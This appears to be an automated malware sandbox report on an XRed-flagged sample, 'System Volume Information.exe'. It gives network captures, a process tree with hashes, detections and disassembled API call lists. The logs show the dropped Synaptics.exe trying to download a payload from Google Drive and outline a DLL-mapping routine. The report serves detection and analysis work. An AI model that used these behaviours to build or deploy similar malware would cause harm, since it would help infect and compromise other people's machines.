2024-11-05 21:44:29 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-uYRJLAC1RfFJw9VSTQ-pxQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49907	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:29 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:30 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:29 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-uDohDEN4MxJ2PqAuLXnd4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY3MOcDiCfKEGp8FIILeRsoB0n0QD37EYSYg6szsZlp8yfY_p5ku7XidurB99Szcv9G1Ue5r8HQ9gw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:30 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:30 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 42 57 76 32 36 5f 66 31 41 46 32 76 70 38 38 4f 4b 48 52 7a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="0BWv26_f1AF2vp88OKHRzA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:30 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49912	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:29 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-g0xo_d01urCGv74FveNPBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:30 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 44d502e9-701e-000d-5c08-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214430Z-16547b76f7fj897nhC1DFWdwq400000005m000000000bpnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:30 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1b068de9-201e-0085-515f-2e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214430Z-17df447cdb5jg4kthC1DFWux4n00000001yg00000000a5v7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:30 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 1ec43ba4-f01e-0003-65d2-2c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214430Z-16547b76f7f76p6chC1DFWctqw00000005qg00000000xt37 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Target ID:	0
Start time:	16:43:52
Start date:	05/11/2024
Path:	C:\Users\user\Desktop\System Volume Information.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\System Volume Information.exe"
Imagebase:	0x400000
File size:	842'752 bytes
MD5 hash:	C2CDAE15750E17383EC3B4225BF32A9F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.1999521718.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1999521718.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000003.2004519629.000000000081F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:43:53
Start date:	05/11/2024
Path:	C:\Users\user\Desktop\._cache_System Volume Information.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_System Volume Information.exe"
Imagebase:	0x9e0000
File size:	71'168 bytes
MD5 hash:	F2B28D713C51AB91E3452F7F98416123
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 97%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	16:43:53
Start date:	05/11/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	D5253FADDD20B28A13F254B6A5E8F504
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:43:54
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x740000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	16:44:02
Start date:	05/11/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	D5253FADDD20B28A13F254B6A5E8F504
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:44:32
Start date:	05/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 432 -s 8908
Imagebase:	0x2d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:45:56
Start date:	05/11/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff7b4630000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.8%
Total number of Nodes:	1096
Total number of Limit Nodes:	20

Executed Functions

Function 009E1150 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 146
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 009E1178
InternetConnectW.WININET(00000000,007575A0,00000050,00000000,00000000,00000003,00000000,00000000), ref: 009E119D
HttpOpenRequestW.WININET(00000000,00000000,00757E08,00000000,00000000,?,04000000,00000000), ref: 009E11C6
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009E11DB
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 009E1209
HttpQueryInfoW.WININET(00000000,20000005,000000C8,00000000,00000000), ref: 009E123A
GetProcessHeap.KERNEL32(00000008,00000001), ref: 009E124C
HeapAlloc.KERNEL32(00000000), ref: 009E1253
InternetReadFile.WININET(00000000,00000000,00000000,00000000), ref: 009E127D
GetProcessHeap.KERNEL32(00000000,00000000), ref: 009E129C
HeapFree.KERNEL32(00000000), ref: 009E12A3
InternetCloseHandle.WININET(00000000), ref: 009E12BE
InternetCloseHandle.WININET(00000000), ref: 009E12CD
InternetCloseHandle.WININET(00000000), ref: 009E12D8

Strings

*/*, xrefs: 009E1168

Memory Dump Source

Source File: 00000002.00000002.3261613633.00000000009E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000002.00000002.3261515539.00000000009E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261687036.00000000009E8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261770903.00000000009EA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261831900.00000000009ED000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9e0000_UNK_.jbxd

Similarity

API ID: Internet$HeapHttp$CloseHandle$InfoOpenProcessQueryRequest$AllocConnectFileFreeReadSend
String ID: */*
API String ID: 3348655948-54324127
Opcode ID: 1ac1679a4368ebbc407ad3ef35d091d8e4d833f49c4df9185e6f82830caa2f4b
Instruction ID: dc824375f9120151eb9d4393b8d4e11f208c78230984dc4850b3770ee7357370
Opcode Fuzzy Hash: 1ac1679a4368ebbc407ad3ef35d091d8e4d833f49c4df9185e6f82830caa2f4b
Instruction Fuzzy Hash: BA418C71508388ABD3119FA2DC84EABBBECFB89788F01091CF659D7200DB31AD459B61

Function 009E14A0 Relevance: 3.8, APIs: 3, Instructions: 49
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009E1000: GetProcessHeap.KERNEL32(00000008,00000400), ref: 009E100A
Part of subcall function 009E1000: HeapAlloc.KERNEL32(00000000), ref: 009E1011
Part of subcall function 009E1000: ExitProcess.KERNEL32 ref: 009E101C

Part of subcall function 009E1000: GetCurrentProcessId.KERNEL32 ref: 009E1055

Part of subcall function 009E1420: GetModuleFileNameA.KERNEL32(00000000,00000105,00000105), ref: 009E1454
Part of subcall function 009E1420: SetCurrentDirectoryA.KERNEL32(00000001), ref: 009E1484

GetProcessHeap.KERNEL32(00000008,00000018), ref: 009E14BE
HeapAlloc.KERNEL32(00000000), ref: 009E14C5
Sleep.KERNELBASE(00001388), ref: 009E1517

Memory Dump Source

Source File: 00000002.00000002.3261613633.00000000009E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000002.00000002.3261515539.00000000009E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261687036.00000000009E8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261770903.00000000009EA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261831900.00000000009ED000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9e0000_UNK_.jbxd

Similarity

API ID: HeapProcess$AllocCurrent$DirectoryExitFileModuleNameSleep
String ID:
API String ID: 95673187-0
Opcode ID: 3f64fbac63341cd2355389f176d00b504935e9b7b2e4746256bb828b09441a32
Instruction ID: a736af49160bd1ce3dd42ae59f3f7baf537f0e6c329ae296703259b5d8c1863c
Opcode Fuzzy Hash: 3f64fbac63341cd2355389f176d00b504935e9b7b2e4746256bb828b09441a32
Instruction Fuzzy Hash: DB01C0716043818BC362ABBB980171F72E4AFC83A1F008919F995C73A1EF30DD409A62

Function 009E12F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 104
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 009E1331
PathRemoveFileSpecW.SHLWAPI(?), ref: 009E133C
PathAppendW.SHLWAPI(?,tpe64.dll), ref: 009E134C
CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009E1363
GetFileSize.KERNEL32(00000000,00000000,00000000), ref: 009E137E
CreateFileMappingW.KERNEL32(00000000,00000000,00000002,00000000,00000000), ref: 009E1386
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 009E139A
GetFileSize.KERNEL32(00000000,00000000), ref: 009E13A9
GetCurrentProcess.KERNEL32(00000000,00000001,00003000,00000004), ref: 009E13B9
VirtualAllocEx.KERNEL32(00000000), ref: 009E13C0
UnmapViewOfFile.KERNEL32(00000000), ref: 009E13E4
CloseHandle.KERNEL32(?), ref: 009E13EF
CloseHandle.KERNEL32(00000000), ref: 009E13FA

Strings

tpe64.dll, xrefs: 009E1342

Memory Dump Source

Source File: 00000002.00000002.3261613633.00000000009E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000002.00000002.3261515539.00000000009E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261687036.00000000009E8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261770903.00000000009EA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261831900.00000000009ED000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9e0000_UNK_.jbxd

Similarity

API ID: File$CloseCreateHandlePathSizeView$AllocAppendCurrentMappingModuleNameProcessRemoveSpecUnmapVirtual
String ID: tpe64.dll
API String ID: 2689475780-979713146
Opcode ID: 4813ae9bcbdd389c7890c00bbeaa425a92cfc731bc8de193692ff1f5295710ee
Instruction ID: 4a2482435fb34eb795ec4499f216fc68bd8037a1cfc81ff2bbb56b3717c84294
Opcode Fuzzy Hash: 4813ae9bcbdd389c7890c00bbeaa425a92cfc731bc8de193692ff1f5295710ee
Instruction Fuzzy Hash: 12317EB1518345BFE210EFA0ACC9FAB77ACEB48755F000918F6099A191DB74DD088BB2

Function 009E2A8C Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 009E2AA1

Memory Dump Source

Source File: 00000002.00000002.3261613633.00000000009E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000002.00000002.3261515539.00000000009E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261687036.00000000009E8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261770903.00000000009EA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261831900.00000000009ED000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9e0000_UNK_.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: c7f2c61b81b390b1cc6ae423786bd4a48478f22e78e77e99704bb5ff4ec924d9
Instruction ID: c6a6273561abd5c040e77e76d0b196b09adb48a987c639826c0afc0d62f416ce
